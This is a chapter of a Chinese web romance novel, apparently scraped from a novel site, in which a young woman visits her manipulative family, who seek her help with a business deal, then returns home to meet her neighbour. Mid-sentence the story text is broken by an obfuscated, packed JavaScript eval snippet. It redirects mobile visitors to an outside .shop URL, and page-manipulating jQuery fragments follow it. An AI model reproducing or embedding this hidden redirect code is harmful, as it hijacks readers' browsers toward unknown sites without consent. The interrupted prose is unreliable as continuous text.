文趣网 > 其他小说 > 难以戒断 > 42. 第四十二章
    客厅,男人坐在主位,舒又一人坐在单人沙发上,对面沙发上少年懒散,曲腿躺在沙发上玩着手机。

    “小舒,爸新买来的茶。”

    男人指着桌上快被放凉的茶水示意她尝尝,舒又投去视线,一片茶叶漂浮在水面上。

    “不喜欢?”男人问完,起身朝着另一方向走去,等再回来时,手中多了一瓶奶。

    他将奶放到她身前,目光落在包装袋上,又说起:“我记得你小时候很喜欢这个味道,成天嚷嚷着给你买,可惜啊。”

    男人喟叹一声,“那时家里穷,买不起,给你买的就那么两三次。”

    舒又目光从茶水上滑移到奶上,视线被熟悉包装侵占,儿时残存记忆浮现眼前。

    那是个大晴天,天气不冷不热,她们一家人还在历城。

    那时还没有弟弟,那时他们还未离家,那时她的父母还爱她。

    那时只是那时,早已是过去式,没有一次不变的人,就连同包装也是。

    对那时她来说新鲜的包装早已过时,现在的包装紧跟潮流发展,记忆里的他们与它早已不复存在。

    舒又扯唇无声轻笑着,抬眸对上男人目光,语气却无比平淡,“如果喊我来只是为了叙旧,那我就先走了。”

    说完收回视线起身便要离开。

    “姐姐,弟弟都许久不见你了,不多留会?”

    脚下步伐顿住,回身目光落到沙发人身上。

    游戏播报声结束,少年散漫将手机息屏,抬头托腮盯着她看,眼底挂着玩味戏谑。

    男人立马接话又嘱咐少年:“是啊小舒,咱们一家人都好久没聚了,正好你今天回来,加瑞,你一会给大姐打个电话。”

    “行。”少年仰声又问,“妈!晚上咱们吃啥?”

    阳台人接话,“你二姐难得回家一趟,定尾源的吧。”

    “行。”

    *

    许是舒家名声在外,饭菜送的还算快。

    餐桌前,男人坐在主位,舒又坐在他左手边,另外两人坐在右手边。

    桌上摆满了许多菜,菜上盖满红辣椒,味道十分呛鼻,唯独中间那条鱼清淡口味,对方心思一眼明了。

    舒又垂眸视线落在筷子上,一言不发。

    舒立诚目光落在一旁空位上,迟迟不见来人,敛着怒意,语调平和问起,“舒霖呢?”

    “在外面逛街。”舒加瑞回答的模棱两可,

    “真是不看日子,今天妹妹回家还在外玩,给她打电话喊她回来。”

    这是女人走来拍过他肩,劝起,“生什么气,小霖来不了正陪沅沅逛街呢。”

    “笳沅沅?”

    女人嗯声,又说“行了,孩子大了不由娘,况且,小霖即使回来也得跟小陈一起回来,拖家带口不够麻烦的。”

    说着,女人伸手推了推盘子,“听说这家鱼做的好吃,今日你来妈特意点的,尝尝。”

    舒又垂眸看着自己身前的盘子,淡着表情,筷子在手旁没动。

    对她来说,人不对心不诚,即使美食味道再好也索然无味。

    见状,少年突然开口说话,“姐,妈特意点的。”

    你别不知好歹这句话藏在心里没说出。

    舒又听到弟弟这番话,琢磨出其中寓意,扯笑着顺对方意思尝了口而又随口问了一嘴,“爸,妈,刚才你们说的小陈是谁啊?”

    夫妻俩听她这样问,彼此对了一眼目光。

    只见女人仰笑说起,“哎呦,你不提我差点忘了,小陈是你姐姐现在的丈夫。

    “姐姐结婚了?”舒又眼睛瞪大故作惊讶,眼里溢着不敢置信,戏精上身般,“什么时候的事,我竟然不知道,那辽安知道吗?”

    “辽安啊......。”女人面上闪过一个尴尬,完全没想到对方会搬出喻辽安。

    舒又看着女人神情又说:“妈妈,你知道吗,辽安最讨厌别人撒谎了。”

    “我去看看锅里米饭蒸熟了吗。”女人随意敷衍几句起身匆匆将烫手山芋扔到自己丈夫身上离开。

    男人表情僵一瞬又挂着笑接了话,“这不怕辽安忙分不出时间来参加小霖婚礼,索性没说。”

    “原来如此,我还以为是你们故意瞒着我跟辽安呢。”舒又嗔对方一语,心里翻了个白眼。

    “怎么会。”男人呵呵一笑,“你跟辽安感情最近如何?”

    对方向来不会无缘无故关心自己,更别说主动喊她回家了,除非有一种可能,有求于喻辽安。

    舒又厌恶对方,面上却挂着微笑点头应声‘挺好。’

    “没被网上风波影响感情就好。”男人问,“对了,网上的事你打算怎么办?用不用家里出面帮你处理?”

    这话一出,舒又喝水动作顿住,眼底略过一抹狐疑又状似无意问起,“我为什么要澄清,又不是我做的。”

    顿了顿,她又一副若无其事模样,“骂就骂吧,反正不是第一次了。”

    “那怎么行,我舒家女儿怎么允许人在网上肆意遭受辱骂。”男人愤愤道,“闺女,你放心,爹一定给你处理好这件事。”

    “那爸你打算怎么处理?”舒又追问。

    “揪出谁在网络后散布谣言”男人说,“等着,晚些爹就给严秘书打电话让公司发布声名给你正名。”

    说着,男人掏出手机拨打去电话,那头接通的很快,一番吩咐对方应声,下一秒,电话里传来噼里啪啦声音。

    真是个会伪装的好父亲,心里讥讽轻嘲,挂在嘴边笑消失,语调恢复冷淡,“代价是什么?”

    男人面上笑容一僵,神色恢复如常,不再伪装,一语直白:“小舒,你也知道,近几年公司业务不景气,爹爹身上还欠着外债。”

    顿了顿,男人道:“前阵子项目资金全部都投到一个项目里,线人说这个月初会定,可这都中旬了,始终没消息,睡也睡不好,吃也吃不下,爹爹心里忐忑,就想喊你帮帮爹。”

    “你想让我怎么帮你。”

    “那个线人是暮总手下的人,正巧他外甥女这几日回国。”

    对方话未说满,舒又接了对方话,“所以,你想让我找他外甥女打探口风?”

    侧目看对方一眼,又说:“可我并不认识对方。”

    男人提出对方接受,眼尾炸出笑颜,露出一副精明目光,“闺女,你认识。”

    *

    初入冬的夜幕降临要比夏日早,出别墅时已七点,柏松路一片漆黑,仅靠微弱路灯发出微弱光线支撑。

    舒又裹紧身上衣服,上车将空调打开。

    等车暖起期间,总算有空看一眼手机,想起自己鸽了柏延火锅,见面怕是要念叨她许久。

    趁着暖车,总算有空看一眼手机,鸽了柏延火锅,见面怕是要念叨她许久。

    小孩子年纪轻轻,话却说个不停,有时比家门口的老太太都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17829818|185852||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要念叨,与他哥哥倒是相反性子。

    说起柏淮远,她鬼使神差点开两人聊天框。

    10月9日下午6:46

    柏:这个怎么样?

    舒:你说做炸的会好吃吗?

    柏:试试?

    舒:可以!!等我回去。

    柏:好

    她偶然间听说炸香蕉好吃,那天给对方发去信息,当晚对方便遂了她愿。

    舒又看了一眼日历,今天十月十六号,他们的对话框时间停留在一周前。

    原来才一个星期啊,竟然都那么久了。

    手指悬在半空,想要发去信息却找不到合适由头。

    骤然想起最后那通电话他的一番话,心头踊上烦躁,索性退出不再看。

    点开雪松聊天框,舒又发去信息,滴一声,手机收到信息。

    都:你回去了?

    舒:回来办点事。

    都:他们没为难你吧。

    打字手顿住,回想起在别墅内男人说的名字。

    “暮清诃。”

    怪不得会主动提起网上的事,在这等她呢。

    手机震动,对方又发来信息,她回过神回复。

    :我没事你放心。

    都:早知道中午就多问一嘴,下次他们在喊你回去记得喊我一起。

    舒又看着对方一番话,心底划过一股暖流。

    回复好后,刚要息屏,下一秒,雪松又发来信息。

    都:图片.png

    都:他搞的鬼?

    舒又点开图片,截图里是舒氏集团官博发布的一则声明。

    她轻嗤一声,‘速度还挺快。’

    随意回复了句我同意的退出软件,启动车顺着导航朝着家开。

    *

    到家是已后半夜,车被她停在路边。

    来回几个小时路程,舟车劳顿,开的浑身泛疲。

    喻辽安没主动联系她,她自然不会主动去那边住,索性回自己小窝。

    爬上三楼,舒又按了按发胀太阳穴,手伸进包里摸着钥匙。

    摸了几分钟,迟迟没摸到像钥匙的物件,皱眉蹲下身,借着楼道灯光在包里翻找钥匙。

    翻遍包上下每个角落,压根没钥匙影子。

    她轻嘶一声,也顾不得干净还是脏乱直接一屁股坐在楼梯间,思索着自己的家钥匙是不是放哪里还是忘记拿了。

    正细细想着时,视线乱飘瞄到包,整个人顿时愣住。

    “......。”

    怪不得找不到钥匙,因为钥匙压根不在包里,舒又对自己一阵无语。

    今天出门随手拎的雪松的包,她的包里怎么会有自己家门钥匙。

    舒又坐在门前敲了敲自己木鱼脑袋,抬眸瞄了一眼自家大门,长叹息,“看了今天进不去了,还是找雪松吧。”嘟囔着起身便准备离去。

    空荡楼梯间,智能门解锁声音格外突兀,她寻声下意识抬头看去。

    这时,邻居的门在自己眼前被推开,男人一席居家服,手里拎着垃圾袋从屋内走出。

    很尴尬,但又不得不打招呼,于是只听她说,“好巧,柏先生,出门扔垃圾啊。”

    柏淮远似乎也没料到她今日会回来,站在原地愣了一瞬,回复往日神情,语调温和,“回来了。”

    这语调,像极了等待妻子晚归的丈夫,倒显得她像一个抛夫弃夫不着家的渣女。